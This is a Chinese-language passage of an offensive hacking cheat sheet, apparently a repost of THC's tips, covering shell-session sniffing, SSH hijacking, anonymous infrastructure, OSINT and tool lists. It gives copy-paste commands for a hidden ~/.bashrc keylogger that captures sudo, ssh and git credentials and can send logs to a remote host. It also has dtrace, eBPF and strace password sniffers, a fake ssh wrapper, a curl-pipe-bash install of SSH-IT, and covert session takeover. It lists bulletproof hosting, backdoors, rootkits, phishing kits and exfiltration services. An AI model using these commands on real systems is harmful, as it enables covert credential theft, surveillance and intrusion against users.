<a id="session-sniffing"></a>
**10.i 嗅探用户的 SHELL 会话**

针对 `~/.bashrc` 的一行命令,用于嗅探用户的按键并将其保存到 `~/.config/.pty/.@*`。当不是 root 且需要捕获用户的 sudo/ssh/git 凭据时非常有用。

部署:将以下内容剪切并粘贴到目标上,然后按照说明操作:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
  • 与 zapper 结合使用,从进程列表中隐藏命令选项。
  • 需要 util-linux >= 2.37(-I 标志)中的 /usr/bin/script。我们从 pkgforge 获取静态二进制文件。
  • 考虑使用 /dev/tcp/3.13.3.7/1524 作为输出文件,以将日志记录到远程主机。
  • 使用 ssh -o "SetEnv LC_PTY=1" 登录以禁用日志记录。

10.ii 使用 dtrace 嗅探所有 SHELL 会话 - FreeBSD

特别适用于 Solaris/SunOS 和 FreeBSD(pfSense)。它使用内核探针来跟踪 所有 sshd 进程。

将此 "D 脚本" 复制到目标系统,并命名为 d:```c #pragma D option quiet inline string NAME = "sshd"; syscall::write:entry /(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/ { printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

root@kitploit:~
启动一个 dtrace 并记录到 /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

10.iii 使用 eBPF 嗅探所有 SHELL 会话 - Linux

eBPF 使我们能够安全地挂钩内核中超过 120,000 个函数。它就像一个更好的“dtrace”,但适用于 Linux。```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt

root@kitploit:~
看看我们自己的[用于嗅探 sudo/su/ssh 密码的 eBPF 工具](https://github.com/hackerschoice/bpfhacks)。

<a id="ssh-sniffing-strace"></a>
**10.iv 使用 strace 嗅探用户的 SSH、bash 或 SSHD 会话**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

还可以嗅探 SSHD 进程(也能捕获 sudo 密码等)。注意,我们改为跟踪 write() 调用(因为 sshd 会将数据“写入”bash):```sh

Find the sshd PID that spawned the bash:

ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...

root@kitploit:~
嗅探 7770(示例):```shell
tit write 7770

10.v. 使用包装脚本嗅探用户的外发 SSH 会话

更脏的方法,适用于 /proc/sys/kernel/yama/ptrace_scope 设置为 1 的情况(strace 将无法对已运行的 SSH 会话进行跟踪)

创建一个名为 'ssh' 的包装脚本,用于执行 strace + ssh 以记录会话:

显示包装脚本 - 点击此处```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

Create a log directory and our own ssh binary

mkdir -p ~/.local/bin ~/.local/logs

cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF

cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile

echo -e "\033[1;32mSUCCESS. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

root@kitploit:~
(thanks to Gerald for testing this)
</details>

SSH会话将在用户下次登录其shell并使用SSH时被嗅探并记录到 *~/.ssh/logs/* 目录下。

<a id="ssh-sniffing-sshit"></a>
**10.vi 使用SSH-IT嗅探用户外发的SSH会话**

最简单的方法是使用 [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/)。```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

10.vii 劫持 / 接管正在运行的 SSH 会话

使用 https://github.com/nelhage/reptyr 来接管一个已有的 SSH 会话:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T

or: ./reptyr -T $(pidof -s ssh)

Must use '-T' or otherwise the original user will see that his SSH process gets suspended.

下载工具
root@kitploit:~
---
<a id="vpn-shell"></a>
## 11. VPN 与 Shell
<a id="shell"></a>
**11.i. 一次性根服务器**```console
$ ssh [email protected] # Use password 'segfault'

https://thc.org/segfault

11.ii. VPN/VPS/代理

受信任的 VPN 提供商

  1. https://www.mullvad.net
  2. https://www.cryptostorm.is
  3. https://ivpn.net
  4. https://proton.me - 提供免费 VPN
  5. https://vpn.fail - 由志愿者运营

虚拟专用服务器。请查看 offshore.cat。

  1. https://www.hetzner.com - 便宜
  2. https://hivecloud.pw - 无需 KYC。防弹。接受加密货币。
  3. https://dmzhost.co - 忽略大多数滥用请求
  4. https://alexhost.com - 无需 KYC。防弹。DMCA 免责区
  5. https://basehost.eu - 无视法院命令
  6. https://buyvm.net - Warez 最好的朋友
  7. https://serverius.net - 被黑帮使用
  8. https://1984.hosting - 隐私
  9. https://bithost.io - DigitalOcean、Linode、Hetzner 和 Vultr 的经销商(接受加密货币)
  10. https://www.privatelayer.com - 总部位于瑞士。

查看其他免 KYC 服务(.onion)

代理(我们不使用其中的任何一个)

  1. V2Ray 代理
  2. Hola 代理
  3. Zaeem 的免费代理列表
  4. Proxy Broker 2
  5. proxyscrape.com
  6. my-proxy.com
  7. getfreeproxylists.blogspot.com
  8. proxypedia.org
  9. socks-proxy.net
  10. Segfault: curl -x socks5h://$(PROXY) ipinfo.io - 为每个请求选择一个随机代理

许多其他服务(免费)

  1. https://free-for.dev/

12. 情报收集

来自多个公共数据库的反向 DNS:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }

rdns

root@kitploit:~
从 TLS/THC-IP Database 中查找子域:```sh
sub() {
    [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
    curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
    curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
OSINT 黑客工具
https://api.c99.nl免费:Subdomain Finder,付费:Phone-Lookup、CF Resolver、WAF Detector、IP2Host,以及更多……每年 25 美元。
https://osint.sh免费。Subdomain Finder、DNS 历史、公共 S3 存储桶、反向 IP、证书搜索,以及更多
https://cli.fyi免费。为许多服务提供 curl/json 接口。试试 curl cli.fyi/me 或 curl cli.fyi/thc.org。
https://check-your-website.server-daten.de免费。检查域名的 TLS/DNS/安全性。
https://ipsniper.info/api.htmlrDNS/fDNS 和其他 IP 信息工具
https://ip.thc.orgfDNS/rDNS 查询:curl -fL ip.thc.org/140.82.121.3
https://hackertarget.com/ip-tools/免费 OSINT 服务(反向 IP、MTR、端口扫描、CMS 扫描、漏洞扫描、API 支持)
https://account.shodan.io/billing/tour来自世界各地的开放端口数据库和 DNS 查询
https://dnsdumpster.com/域名侦察工具
https://crt.sh/TLS 证书搜索
https://archive.org/web/网站的历史视图
https://www.farsightsecurity.com/solutions/dnsdb/DNS 搜索(非免费)
https://wigle.net/无线网络映射器
https://radiocells.org/基站信息
https://www.shodan.io/用于查找设备和横幅的搜索引擎(非免费)
https://spur.us/context/me
OSINT for Detectives
https://start.me/p/rx6Qj8/nixintel-s-osint-resource-listNixintel 的 OSINT 资源列表
https://github.com/jivoi/awesome-osintAwesome OSINT 列表
https://cipher387.github.io/osint_stuff_tool_collection/OSINT 工具集
https://osintframework.com/许多 OSINT 工具
OSINT 数据库
https://data.ddosecrets.com/数据库转储

13. 杂项

13.i. 行业工具

通信

  1. CryptoStorm Email - 一次性电子邮件(发送和接收)。(一次性电子邮件服务列表)。
  2. Temp-Mail - 具有出色 Web 界面的临时电子邮件服务。仅接收。
  3. tuta.io 或 ProtonMail/.onion - 免费且私密的电子邮件
  4. Quackr.Io - 一次性短信/文本消息(一次性短信服务列表)。
  5. SMS-Man - 可与 Signal、WA 和许多其他应用配合使用的匿名短信/文本
  6. Crypton - 使用加密货币租用私人 SIM/SMS(.onion)
  7. 无需 KYC 的服务列表(.onion)

行动安全

  1. 反抗者的 OpSec - 从这里开始。最简单的 3 个步骤。
  2. RiseUp - 为(在线)反抗者提供的邮件、VPN 和技巧。
  3. CryptoPad/DisRoot - 用于组织反抗的 IT 基础设施。
  4. Neko - 在 Docker 中启动 Firefox,并通过 127.0.0.1:8080 访问(WebRTC)
  5. x11Docker - 在容器中隔离任何 X11 应用程序(仅限 Linux 和 Windows)。(文章)
  6. DangerZone - 在打开 PDF 之前使其安全。
  7. ExifTool - 从文件中移除元数据(exiftool -all= example.pdf example1.jpg ...)
  8. EFF - 为自由斗士提供的明智建议。

漏洞利用

  1. ttyinject 和 ptyspy,用于 LPE。
  2. SploitScan - 漏洞利用评分和 PoC 搜索(作者:xaitax)
  3. Traitor - 尝试各种漏洞利用/漏洞以获得 root 权限(LPE)
  4. PacketStorm - 自从我们于 2000 年在纽约与 fringe[at]dtmf.org 分享披萨以来,我们最喜欢的网站
  5. ExploitDB - 还包括 Metasploit 数据库和 Google 黑客数据库
  6. Shodan/Exploits - 与 exploit-db 类似

系统信息收集

  1. curl -fsSL https://thc.org/ws | bash - 显示服务器上托管的所有域名 + 系统信息
  2. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - 为黑客提供的快速系统信息。
  3. https://github.com/zMarch/Orc - 用于发现本地 RCE 的后渗透利用工具(安装后输入 getexploit)
  4. https://github.com/The-Z-Labs/linux-exploit-suggester - 根据目标系统上的版本建议可用的漏洞利用
  5. https://github.com/efchatz/pandora - Windows:从各种密码管理器中转储密码

后门

  1. https://www.gsocket.io/deploy - 世界上最小的后门
  2. https://github.com/m0nad/Diamorphine - 用于隐藏进程和文件的 Linux 内核模块
  3. https://www.kali.org/tools/weevely - PHP 后门

网络扫描器

  1. https://github.com/robertdavidgraham/masscan - 扫描整个互联网
  2. https://github.com/ptrrkssn/pnscan - 快速网络扫描器
  3. https://zmap.io/ - ZMap 和 ZGrab

漏洞扫描器(请注意:这些扫描器都会产生 99% 不可利用的误报。它们都很糟糕。)

  1. Raccoon - 侦察和信息收集
  2. Osmedeus - 漏洞和信息收集
  3. FullHunt - log4j 和 spring4shell 扫描器

DDoS

  1. DeepNet - 我们鄙视 DDoS,但如果非用不可,这就是我们的选择。

静态二进制文件 / 预编译工具

  1. https://bin.pkgforge.dev https://pkgs.pkgforge.dev (github,Soar 项目)
  2. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
  3. https://lolbas-project.github.io/ (Windows)
  4. https://iq.thc.org/cross-compiling-exploits

网络钓鱼

  1. https://github.com/htr-tech/zphisher - 我们不会这样入侵,但这是我们可能会用的工具。
  2. https://da.gd/ - 更小的 TinyUrl,并允许 https://[email protected]/blah

工具

  1. https://github.com/hackerschoice/bincrypter - 混淆并打包 任何 Linux 二进制文件
  2. https://github.com/guitmz/ezuri - 混淆 Linux 二进制文件(仅限 ELF)
  3. https://tmate.io/ - 与他人共享屏幕

回调 / Canary / 命令与控制

  1. https://app.interactsh.com
  2. https://api.telegram.org
  3. https://webhook.site

隧道

  1. Gost
  2. WireTap 或 Segfault 的 WireGuard。
  3. ngrok、cloudflared 或 pagekite 用于让 NAT 后面的服务器可以从公共互联网访问。

数据外传

  1. Blitz - blitz -l / blitz foo.txt
  2. Segfault.net - 输入 exfil
  3. RedDrop - 运行你自己的数据外传服务器
  4. Mega
  5. oshiAt - 也可在 TOR 上使用。curl -T foo.txt https://oshi.at
  6. 0x0.at - curl -F'[email protected]' https://0x0.st/
  7. Transfer.sh - curl -T foo.txt https://transfer.sh
  8. LitterBox - curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php
  9. Croc - croc send foo.txt / croc anit-price-example
  10. MagicWormhole

发布

  1. 免费 BT/DC/eD2k 种子盒
  2. 或者在 segfault.net 上使用 /onion,或者使用 ngrok 搭配普通的 https
  3. Cloudflare - 免费套餐允许大多数功能(DNS + 域名 + 隧道)。
  4. Njal.la - 注重隐私的域名注册商
  5. DuckDNS - 免费域名
  6. AnonDNS - 免费域名(匿名)
  7. afraid.org - 为你的域名提供免费动态 DNS
  8. hostwinds - 用加密货币支付
  9. unstoppable domains - 用加密货币支付
  10. he.net - 免费域名服务器服务
  11. 0bin / paste.ec - 加密的 PasteBin
  12. pad.riseup.net - 创建文档并安全地分享

论坛和会议

  1. AlligatorCon - 最初的那个
  2. 0x41con
  3. TumpiCon
  4. 0x00sec

Telegram 频道

  1. The Hacker's Choice
  2. The Hacker News
  3. CyberSecurity Technologies
  4. Offensive Twitter
  5. Pwn3rzs
  6. VX-Underground
  7. Android Security / Malware
  8. OSINT CyberDetective
  9. BookZillaaa
  10. Rootkit Researchers

思维导图与知识

  1. Compass Sec 速查表
  2. 网络渗透测试
  3. Active Directory

13.ii. 酷炫 Linux 命令

  1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/
  2. https://github.com/ibraheemdev/modern-unix

13.iii. Tmux 速查表

Tmux Cheat Sheet
Max BufferCtrl-b + : + set-option -g history-limit 65535
SaveScrollbackCtrl-b + : + capture-pane -S - ,然后 Ctrl-b + : + save-buffer filename.txt。
SpyScrollbacktmux capture-pane -e -pS- -t 6.0 捕获运行中的 tmux 的窗格 6(窗口 0)。去掉 -e 则不保留颜色保存。
Cleartmux send-keys -R C-l \; clear-history -t6.0 清除屏幕并删除回滚历史。
LoggingCtrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'
按 Ctrl-b + Shift + P 开始和停止。
HiddenTmuxcd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache
要附加到你的会话,请执行
cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach
Attach启动一个新的 tmux,然后输入 Ctrl-b + s,并使用 LEFT、RIGHT 预览和选择任何会话。
MenuCtrl-b + >。然后使用 Ctrl-b + UP、DOWN、LEFT 或 RIGHT 在窗格之间移动。

13.iv. 实用命令

使用 lsof -Pni 或 netstat -putan(或 ss -putan)列出所有互联网(-tu)连接。

使用 ss -lntp 显示所有监听(-l)的 TCP(-t)套接字。

使用 netstat -rn 或 ip route show 显示默认互联网路由。

使用 curl cheat.sh/tar 获取 tar 的 TLDR 帮助。适用于任何其他 Linux 命令。

使用 curl -fsSL bench.sh | bash 对服务器进行速度测试。

在长延迟链路或慢速链路上进行黑客攻击可能会让人非常沮丧。每次击键都会逐个传输,任何输入错误都会变得更加令人沮丧且耗时。rlwrap 可以救你一命。它会缓冲所有的单次击键,直到按下 Enter,然后一次性传输整行。这使得高速输入、纠正错误等变得更加容易,……

反向隧道接收端的示例:```sh rlwrap --always-readline nc -vnlp 1524

root@kitploit:~
*SSH* 的示例:```sh
rlwrap --always-readline ssh user@host

14. 如何成为一名黑客

方法有很多,但其中之一是:

  1. 使用 Linux 并精通 Bash。学习所有 Linux 命令。
  2. 了解互联网的工作原理。安装并配置一些服务器(通过 shell 访问)。
  3. 理解系统架构以及操作系统的工作原理。
  4. 阅读每一本书。问问自己“为什么用这种方式而不是另一种方式?”。
  5. 阅读 Phrack 的前十篇文章。
  6. 加入一个黑客频道。注册 TryHackMe 或 HackTheBox。
  7. 保持好玩的心态。

15. 其他网站

  1. Phineas Fisher - 不废话。直接。我们喜欢的风格。
  2. Hacking HackingTeam - a HackBack - 年代久远,但展现了真正的实力。
  3. Guacamaya Hackback
  4. Vx Underground
  5. HTB absolute - 撰写精良、解释清晰的攻击文章。
  6. Conti Leak - Windows 黑客技术。务实。
  7. Red Team Notes
  8. InfoSec CheatSheet
  9. HackTricks
  10. Awesome Red Teaming
  11. Hacking Resources
  12. Awesome Hacking
  13. VulHub - 测试你的漏洞利用
  14. Qubes-OS - 专注于安全的桌面操作系统,通过 XEN 隔离的(一次性)客户虚拟机(开箱即用地支持 Fedora、Debian、Whonix)

鸣谢:ADM, subz/#9x, DrWho, spoty 加入我们的 Telegram。

"Buy Me A Coffee"

IP 评分 https://spur.us/context/<IP>
http://drs.whoisxmlapi.com反向 Whois 查询(非免费)
https://www.abuseipdb.comIP 滥用评分